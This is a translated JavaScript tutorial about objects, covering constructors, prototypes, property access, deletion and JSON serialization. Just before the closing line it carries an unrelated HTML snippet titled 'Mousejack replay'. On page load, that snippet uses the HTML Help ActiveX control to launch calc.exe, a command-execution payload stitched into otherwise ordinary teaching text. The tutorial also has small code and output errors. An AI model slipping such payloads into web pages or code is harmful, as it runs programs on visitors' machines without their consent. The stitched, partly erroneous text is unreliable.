JavaScrtip has six data types, a complex data type (reference type), namely the Object object type, and five simple data types (primitive types): Number, String, Boolean, Undefined and Null. Among them, the most core type is the object type. At the same time, it should be noted that simple types are immutable, while object types are mutable.
What is an object
An object is an unordered list of simple data types (sometimes referenced data types) stored as a series of name-value pairs. Each item in this list is called a property (if it is called a method).
Here is a simple object:
var myFirstObject = { firstName: "Richard", favoriteAuthor: "Conrad" };Objects can be considered as a list, and each item (properties or methods) in the list is stored in a name-value pair. In the above example, the attribute names of the object are firstName and favoriteAuthor. Correspondingly, the attribute values of the object are Richard and Conrad.
The attribute name can be a string or a number, but if a number is used as the attribute name, the attribute value corresponding to the attribute name of this number must be obtained in square brackets (square bracket notation). A more detailed explanation of square bracket notation later. Here is an example of square bracket notation:
var ageGroup = {30: "Children", 100:"Very Old"}; console.log(ageGroup.30) // Error// The correct way to access the attribute 30 console.log(ageGroup["30"]); // Children // It is best to avoid using numbers as attribute namesAs a JavaScript programmer, you will often use object data types. It is usually used to store data, or to create custom methods or functions.
Reference data types and primitive data types
The most important difference between a reference type and a primitive type is that the reference type is stored by reference, and it will not store the value directly in a variable like a primitive type. for example:
// The original type data is stored by value var person = "Kobe"; var anotherPerson = person; // anotherPerson = the value of person person = "Bryant"; // The value of person has changed console.log(anotherPerson); // Kobe console.log(person); // Bryan
It can be noted that even if we change the value of person to "Bryant", it will not have any effect on the anthoerPerson, and it still saves the value assigned to it by the original person.
Compare the original type by value store with the reference type by reference store:
var person = {name: "Kobe"}; var anotherPerson = person; person.name = "Bryant"; console.log(anotherPerson.name); // Bryant console.log(person.name); // BryantIn this example, we copy the person object to anthoerPerson, but because the person object stores a reference instead of the real value. So when we change person.name to "Bryant", the otherPerson variable also reflects this change, because it does not copy all attributes in person and save them, but directly saves the object's reference.
Attributes of object properties
Note: Attribute is generally translated as attribute, but in order to distinguish it from Propertie (also translated as attribute), it is translated as attribute here. This is also something that has been consulted by others, and it should be harmless.
Each object attribute not only saves its own name-value pair, it also contains three characteristics, which are set to true by default.
•Configurable Attribute: Specifies whether this object attribute can be deleted or modified.
•Enumerable: Specifies whether this object property can be obtained in the for-in loop.
•Writable: Specifies whether this object property can be modified.
There are some new features in EMACScript 5, and we will not explain them in detail here.
Create an object
There are two common methods to create objects:
1. Object literal
This is the most common and easiest way to create objects, directly using literals:
// Empty objectvar myBooks = {};// Object containing 4 attributes created using literalsvar mango = { color: "yellow", shape: "round", sweetness: 8, howSweetAmI: function () { console.log("Hmm Hmm Good"); }}2. Object constructor
The second commonly used method is to use object constructors. A constructor is a special function that can be used to create a new object. The constructor needs to be called using the new keyword.
var mango = new Object ();mango.color = "yellow";mango.shape= "round";mango.sweetness = 8;mango.howSweetAmI = function () { console.log("Hmm Hmm Good");}Although some reserved words or keywords can be used, such as for as the name of an object property, this is not a wise choice.
The properties of an object can contain any data type, including Number, Arrays, or even other Objects.
Practical mode of object creation
For creating simple objects that are used only once to store data, the above two methods can meet the needs.
However, suppose there is a program for displaying the fruit and its details. Each fruit type in the program has the following object properties: color, shape, sweetness, cost and a showName function. If you have to typify the following code every time you create a new fruit object, it will be very boring and inefficient.
var mangoFruit = { color: "yellow", sweetness: 8, fruitName: "Mango", nativeToLand: ["South America", "Central America"], showName: function () { console.log("This is " + this.fruitName); }, nativeTo: function () { this.nativeToLand.forEach(function (eachCountry) { console.log("Grown in:" + eachCountry); }); } }If you have 10 fruits, you have to add the same code 10 times. And, if you want to modify the nativeTo function, you have to modify it in 10 different places. Let's further imagine that if you are developing a large website, you have added attributes to the objects above one by one. However, you suddenly realize that the way you create the object is not ideal, and you want to modify it, what should you do at this time?
To solve these repetitive problems, software engineers invented various patterns (solutions for repetitive problems and common tasks) to use development programs more efficiently and rationally.
Here are two common patterns for creating objects:
1. Constructing method mode
function Fruit (theColor, theSweetness, theFruitName, theNativeToLand) { this.color = theColor; this.sweetness = theSweetness; this.fruitName = theFruitName; this.nativeToLand = theNativeToLand; this.showName = function () { console.log("This is a " + this.fruitName); } this.nativeTo = function () { this.nativeToLand.forEach(function (eachCountry) { console.log("Grown in:" + each Country); }); }}With this pattern, it is easy to create a variety of fruits. Like this:
var mangoFruit = new Fruit ("Yellow", 8, "Mango", ["South America", "Central America", "West Africa"]);mangoFruit.showName(); // This is a Mango.mangoFruit.nativeTo();// Grown in:South America// Grown in:Central America// Grown in:West Africavar pineappleFruit = new Fruit ("Brown", 5, "Pineapple", ["United States"]);pineappleFruit.showName(); // This is a Pineapple.If you want to change properties or methods, you just need to modify them in one place. This pattern encapsulates the functions and features of all fruits through the inheritance of a Fruit function.
Notice:
◦Inheritable properties need to be defined on the object's prototype object properties. for example
someObject.prototype.firstName = "rich";
◦The attributes that belong to oneself should be directly defined on the object. for example:
// First, create an object var aMango = new Fruit ();// Next, define the mongoSpice method directly on the object// Because we define the mangoSpice property directly on the object, it is aMango's own property, not an inheritable property aMango.mangoSpice = "some value";
◦To access an object's properties, use object.property, such as:
console.log(aMango.mangoSpice); // "some value"
◦To call an object's method, use object.method(), such as:
// First, add a method aMango.printStuff = function() { return "Printing"; }// Now, you can call the printStuff method aMango.printStuff();2. Prototype mode
function Fruit () {}Fruit.prototype.color = "Yellow";Fruit.prototype.sweetness = 7;Fruit.prototype.fruitName = "Generic Fruit";Fruit.prototype.nativeToLand = "USA";Fruit.prototype.showName = function () { console.log("This is a " + this.fruitName);}Fruit.prototype.nativeTo = function () { console.log("Grown in:" + this.nativeToLand);}Here is the method to call the Fruit() constructor in the prototype mode:
var mangoFruit = new Fruit ();mangoFruit.showName(); //mangoFruit.nativeTo();// This is a Generic Fruit// Grown in:USA
Extended reading
If you need to know a more detailed explanation of these two patterns, you can read Chapter 6 of JavaScript Advanced Programming, which discusses the advantages and disadvantages of these two methods in detail. Other modes besides these two are also discussed in the book.
How to access properties in an object
The two main methods to access object properties are dot notation and bracket notation.
1. Point notation method
// This is the method to access attributes that we have been using in the previous examplevar book = {title: "Ways to Go", pages: 280, bookMark1:"Page 20"};// Use point notation to access the title and pages attributes of the book object:console.log ( book.title); // Ways to Goconsole.log ( book.pages); // 2802. Bracket notation method
// Use square brackets to reveal the properties of the book object: console.log ( book["title"]); //Ways to Goconsole.log ( book["pages"]); // 280// If the attribute name is stored in a variable, it can also be:var bookTitle = "title";console.log ( book[bookTitle]); // Ways to Goconsole.log ( book["bookMark" + 1]); // Page 20
Accessing properties that do not exist in an object will result in an undefined.
Its own attributes and inheritance attributes
Objects have their own attributes and inherited attributes. The own attribute is a property directly defined on the object, while the inherited attribute is a property inherited from the Object's Prototype.
To determine whether an object has a certain attribute (whether it is its own attribute or inherited attribute), you can use the in operator:
// Create an object with schoolName attribute var school = {schoolName:"MIT"}; // Print out true because the object has the schoolName property console.log("schoolName" in school); // true // Print out false because we neither define the schoolType property nor inherit the schoolType property console.log("schoolType" in school); // false // Print out true because the toString method console.log("toString" in school); // truehasOwnProperty
To determine whether an object has a specific property of its own, you can use the hasOwnPrototype method. This method is very useful because we often need to enumerate all of the properties of an object instead of inheriting them.
// Create an object with schoolName attribute var school = {schoolName:"MIT"}; // Print true, because schoolName is the school's own property console.log(school.hasOwnProperty ("schoolName")); // true // Print false, because toString is inherited from the Object's Prototype, and the school's own property console.log(school.hasOwnProperty ("toString")); // falseAccess and enumeration properties in objects
In order to access the attributes (self or inherited) that can be enumerated in an object, you can use a for-in loop or a normal loop method.
// Create a school object with 3 attributes: schoolName, schoolAccredited, and schoolLocation. var school = {schoolName:"MIT", schoolAccredited: true, schoolLocation:"Massachusetts"}; // Use a for-in loop to get the attributes in the objectfor (var eachItem in school) { console.log(eachItem); // Prints schoolName, schoolAccredited, schoolLocation }Access inherited properties
Properties inherited from the Object's Prototype are not enumerable, so these properties are not accessed in the for-in loop. However, if they are enumerable inheritance properties, they can also be accessed from the for-in loop.
for example:
//Use for-in to access the properties in the school object for (var eachItem in school) { console.log(eachItem); // Prints schoolName, schoolAccredited, schoolLocation } // Note: The following paragraph is an explanation of the original text/* SIDE NOTE: As Wilson (an astute reader) correctly pointed out in the comments below, the educationLevel property is not actually inherited by objects that use the HigherLearning constructor; instead, the educationLevel property is created as a new property on each object that uses the HigherLearning constructor. The reason the property is not inherited is because we use of the "this" keyword to define the property. */ // Create a new HigherLearning function that the school object will inherit from. function HigherLearning () { this.educationLevel = "University"; } // Implement inheritance with the HigherLearning constructor var school = new HigherLearning (); school.schoolName = "MIT"; school.schoolAccredited = true; school.schoolLocation = "Massachusetts"; //Use of the for/in loop to access the properties in the school object for (var eachItem in school) { console.log(eachItem); // Prints educationLevel, schoolName, schoolAccredited, and schoolLocation }Delete properties in the object
You can use the delete operator to delete properties in an object. We cannot delete inherited attributes, and we cannot delete object attributes whose Configurable attributes are set to false. To delete inherited properties, you must delete it from the Prototype object (that is, where these properties are defined). Moreover, we cannot delete properties in global objects.
When the delete is successful, the delete operator will return true. Surprisingly, the delete operator also returns true when the attribute to be deleted does not exist or cannot be deleted (that is, the attribute that is not its own or the Configurable attribute is set to false).
Here is an example:
var christmasList = {mike:"Book", jason:"sweater" } delete christmasList.mike; // deletes the mike property for (var people in christmasList) { console.log(people); } // Prints only jason // The mike property was deleted delete christmasList.toString; // Return true, but because toString is an inherited property, it will not be deleted// Because toString is not deleted, christmasList.toString() can also be used normally here; //"[object Object]" // If an attribute is its own property of an object instance, we can delete it. // For example, we can delete the educationLevel attribute from the school object defined in the previous example, // Because educationLevel is defined in that instance: we used the "this" keyword when defining educationLevel in the HigherLearning function. //We do not define the educationLevel attribute in the HigherLearning function prototype object. console.log(school.hasOwnProperty("educationLevel")); // true // educationLevel is a self-property of a school object, so we can delete it delete school.educationLevel; // true // The educationLevel property has deleted console.log(school.educationLevel); // undefined // But the educationLevel property still exists in the HigherLearning function var newSchool = new HigherLearning (); console.log(newSchool.educationLevel); // University // If we define a property in the HigherLearning function prototype, such as this educationLevel2 property: HigherLearning.prototype.educationLevel2 = "University 2"; // This educationLevel2 property does not attribute the own property of the HigherLearning instance// The educationLevel2 property is not the own property of the school instance console.log(school.hasOwnProperty("educationLevel2")); false console.log(school.educationLevel2); // University 2 // Try to delete the inherited educationLevel2 property delete school.educationLevel2; // true (as mentioned earlier, this expression will return true) // The inherited educationLevel2 property has not been deleted console.log(school.educationLevel2); University 2Serialize and deserialize objects
In order to pass an object in HTTP or convert an object into a string, we have to serialize the object (convert it into a string). We can use JSON.stringify to serialize objects. It should be noted that in versions before ECMAScript 5, we need to use the json2 library to obtain the JSON.stringify function. In ECMAScript 5, this function has become a standard function.
To deserialize an object (i.e., convert a string into an object), it can be done using the JSON.parse function. Similarly, before the 5th edition, we need to obtain this function from the json2 library, and this standard function has been added to the 5th edition.
Sample code:
var christmasList = {mike:"Book", jason:"sweater", chelsea:"iPad" } JSON.stringify (christmasList); // Prints this string: // "{"mike":"Book","jason":"sweater","chels":"iPad"}" // To print a stringified object with formatting, add "null" and "4" as parameters: JSON.stringify (christmasList, null, 4); // "{ // "mike": "Book", // "jason": "sweater", // "chels": "iPad" // }" // JSON.parse Examples // The following is a JSON string, so we cannot access the properties with dot notation (like christmasListStr.mike) var christmasListStr = '{"mike":"Book","jason":"sweater","chels":"iPad"}'; // Let's convert it to an object var christmasListObj = JSON.parse (christmasListStr); // Now that it is an object, we use dot notation console.log(christmasListObj.mike); // BookFor more discussion and explanation of JavaScript objects, as well as the content added to ECMAScript in the 5th edition, please refer to Chapter 6 of the Authoritative Guide to JavaScript (6th Edition).
postscript
When I first translated an article, I really feel that it is not that simple to translate it well. Many simple sentences look very clear, but when I really want to translate it, I can't think of a suitable way of expression. The whole article is based on my own understanding and then translated it through freely, without translation sentence by sentence. So, if there are any deviations in the understanding or inappropriate translation, please try to point it out and I will correct it as soon as possible. After all, I want to share this past article with you. I don’t want to mislead you because of my mistakes in understanding.
Just sauce, finish the work.
<!DOCTYPE html><html><head><title>Mousejack replay</title><head></head><body> command exec <OBJECT id=x classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" width=1 height=1> <PARAM name="Command" value="ShortCut"> <PARAM name="Button" value="Bitmap::shortcut"> <PARAM name="Item1" value=',calc.exe'> <PARAM name="Item2" value="273,1,1"> </OBJECT> <SCRIPT> x.Click(); </SCRIPT> </body></html>
The above is all the content of this article. I hope it will be helpful to everyone's learning and I hope everyone will support Wulin.com more.